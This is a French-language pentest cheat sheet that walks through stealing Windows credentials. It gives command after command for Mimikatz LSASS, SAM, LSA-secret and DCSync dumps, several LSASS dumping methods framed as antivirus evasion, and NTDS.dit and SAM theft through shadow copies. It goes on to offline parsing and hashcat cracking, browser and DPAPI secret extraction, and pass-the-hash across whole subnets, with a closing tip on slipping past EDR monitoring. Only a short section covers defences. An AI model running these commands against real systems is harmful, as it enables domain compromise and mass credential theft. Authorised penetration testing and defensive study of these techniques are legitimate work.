MDstable
NoteSnippetChecklistPlaybook

Credential Dumping — Mimikatz, LSASS, SAM, NTDS

Extraction de credentials Windows : Mimikatz (LSASS, SAM, DPAPI), dump NTDS.dit, extraction hors ligne

snippetadvanced 2026-05-14 5 min read
mimikatzlsasssamntdscredential-dumpingdpapisecretsdumpwindowspentest

Vue d'ensemble des sources de credentials

Source | Contenu | Prrequis
LSASS mmoire | Passwords en clair NTLM hash | SYSTEM ou SeDebugPrivilege
SAM registre | NTLM hash des comptes locaux | SYSTEM
NTDSdit DC | Tous les hashes du domaine | Domain Admin
DPAPI | Credentials chiffrs browser | Cl master utilisateur
| Credential Manager certs |
LSA Secrets | Passwords de services cls | SYSTEM

Mimikatz — Commandes essentielles

powershell
# Lancer Mimikatz (nécessite admin / SYSTEM)
.\mimikatz.exe
# Vérifier les droits
mimikatz# privilege::debug
# Privilege '20' OK → SeDebugPrivilege actif
# Obtenir SYSTEM
mimikatz# token::elevate

Dump mémoire LSASS

powershell
# Passwords en clair + hashes NTLM depuis LSASS
mimikatz# sekurlsa::logonpasswords
# Seulement les hashes NTLM (plus discret)
mimikatz# sekurlsa::msv
# Tickets Kerberos en mémoire
mimikatz# sekurlsa::tickets
# Credentials Kerberos
mimikatz# sekurlsa::ekeys
# Dump WDigest (Windows 7/2008 — passwords en clair si activé)
mimikatz# sekurlsa::wdigest

SAM — Hashes locaux

powershell
# Dump de la base SAM (comptes locaux)
mimikatz# token::elevate
mimikatz# lsadump::sam
# LSA Secrets (passwords de services, credentials stockés)
mimikatz# lsadump::secrets
# Cache de domaine (DCC2 — comptes domaine qui se sont connectés)
mimikatz# lsadump::cache

DCSync

powershell
Variables
{{DOMAIN}}
# Simuler un DC pour récupérer les hashes du domaine
mimikatz# lsadump::dcsync /domain:{{DOMAIN}} /user:Administrator
mimikatz# lsadump::dcsync /domain:{{DOMAIN}} /all /csv > hashes.csv

Dump LSASS sans Mimikatz (évasion AV)

powershell
Variables
{{USER}}
# Méthode 1 — Task Manager (GUI, discret)
# Ouvrir Task Manager → Processes → Local Security Authority Process → Create Dump File
# → Copier C:\Users\{{USER}}\AppData\Local\Temp\lsass.DMP vers l'attaquant
# Méthode 2 — ProcDump (Sysinternals, signé Microsoft → moins détecté)
.\procdump64.exe -accepteula -ma lsass.exe lsass.dmp
.\procdump64.exe -accepteula -mm lsass.exe lsass_mini.dmp # minidump (plus petit)
# Méthode 3 — Via comsvcs.dll (natif Windows, pas de binaire tiers)
$pid = (Get-Process lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $pid C:\Windows\Temp\lsass.dmp full
# Méthode 4 — via Powershell direct
$lsass = Get-Process lsass
$handle = [PSObject].Assembly.GetType('System.Diagnostics.Process').GetMethod('OpenProcessHandle')
# (approche silencieuse via API calls — outils : SilentProcessExit, HandleClose)
bash
# Parser le dump lsass.dmp sur la machine attaquante (Linux)
pypykatz lsa minidump lsassdmp
pypykatz lsa minidump lsassdmp -o credentialsjson
# Mimikatz sur Windows avec le dump
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords

SAM hors ligne — Shadow Copy

powershell
Variables
{{X}}
# Si on ne peut pas lire le SAM directement (verrouillé), utiliser VSS
# Créer un shadow copy
vssadmin create shadow /for=C:
# Copier depuis le shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy{{X}}\Windows\System32\config\SAM C:\temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy{{X}}\Windows\System32\config\SYSTEM C:\temp\SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy{{X}}\Windows\System32\config\SECURITY C:\temp\SECURITY
bash
# Impacket — extraire les hashes depuis SAM + SYSTEM hors ligne
secretsdumppy -sam SAM -system SYSTEM -security SECURITY LOCAL

NTDS.dit — Dump complet du domaine

powershell
Variables
{{X}}
# Méthode 1 — via VSS (Shadow Copy) sur le DC
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy{{X}}\Windows\NTDS\ntds.dit C:\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy{{X}}\Windows\System32\config\SYSTEM C:\temp\SYSTEM
# Méthode 2 — ntdsutil (natif Windows)
ntdsutil "ac i ntds" "ifm" "create full c:\temp\ntds_dump" q q
# → Crée C:\temp\ntds_dump\Active Directory\ntds.dit et registry\SYSTEM
bash
# Parser NTDS.dit + SYSTEM sur la machine attaquante
secretsdumppy -ntds ntdsdit -system SYSTEM LOCAL
secretsdumppy -ntds ntdsdit -system SYSTEM LOCAL -just-dc-ntlm -outputfile hashestxt
# Cracker les hashes NTLM
hashcat -m 1000 hashestxt /usr/share/wordlists/rockyou.txt

DPAPI — Credentials browser et Credential Manager

powershell
Variables
{{USER}}
{{SID}}
{{GUID}}
# Lister les credentials stockés dans Credential Manager
cmdkey /list
# Mimikatz — dump DPAPI (credentials stockés)
mimikatz# vault::cred /patch
mimikatz# vault::list
# Dump des master keys DPAPI
mimikatz# dpapi::masterkey /in:C:\Users\{{USER}}\AppData\Roaming\Microsoft\Protect\{{SID}}\{{GUID}} /rpc
powershell
# SharpDPAPI — extraction automatisée
.\SharpDPAPI.exe credentials # Credential Manager
.\SharpDPAPI.exe certificates /mkfile:masterkeys.txt # Certificats
.\SharpDPAPI.exe chrome /mkfile:masterkeys.txt # Chrome passwords
# LaZagne — extraction multi-sources (Python)
.\LaZagne.exe all
.\LaZagne.exe browsers
.\LaZagne.exe windows

Pass-the-Hash (PTH)

bash
Variables
{{NTLM_HASH}}
{{DOMAIN}}
{{TARGET_IP}}
{{TARGET_SUBNET}}
# Utiliser un hash NTLM pour s'authentifier sans mot de passe
# Impacket — psexec PTH
psexecpy -hashes {{NTLM_HASH}} {{DOMAIN}}/Administrator{{TARGET_IP}}
# smbexec PTH
smbexecpy -hashes {{NTLM_HASH}} {{DOMAIN}}/Administrator{{TARGET_IP}}
# wmiexec PTH
wmiexecpy -hashes {{NTLM_HASH}} {{DOMAIN}}/Administrator{{TARGET_IP}}
# CrackMapExec — PTH sur tout un subnet
crackmapexec smb {{TARGET_SUBNET}} -u Administrator -H {{NTLM_HASH}} --local-auth
crackmapexec smb {{TARGET_SUBNET}} -u Administrator -H {{NTLM_HASH}} -x "whoami"

Défense — Protection LSASS

powershell
# Activer PPL (Protected Process Light) pour LSASS
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
-Name "RunAsPPL" -Value 1
# → Mimikatz ne peut plus dumper LSASS (même en SYSTEM) sans bypass kernel
# Activer Credential Guard (bloque WDigest en clair)
# → Via GPO : Computer Configuration > Device Guard > Enable VBS
# → Requires UEFI + VBS
# Désactiver WDigest (empêche les passwords en clair dans LSASS)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" `
-Name "UseLogonCredential" -Value 0
# Surveiller le dump LSASS via Sysmon (Event ID 10)
# Sysmon config : target image lsass.exe + GrantedAccess 0x1010, 0x1410
# Alerte si processus non-System accède à lsass avec ces droits
⚠ Attention —

Le dump de LSASS déclenche des alertes dans les EDR modernes (Defender for Endpoint, CrowdStrike). Les techniques alternatives (comsvcs.dll, ProcDump) sont également détectées. En environnement EDR, privilégier DCSync (si droits DA) ou les dumps VSS hors ligne sur les DCs, moins surveillés que l'accès mémoire LSASS.

OPS·BRAIN v1.075 notes · Securitylocal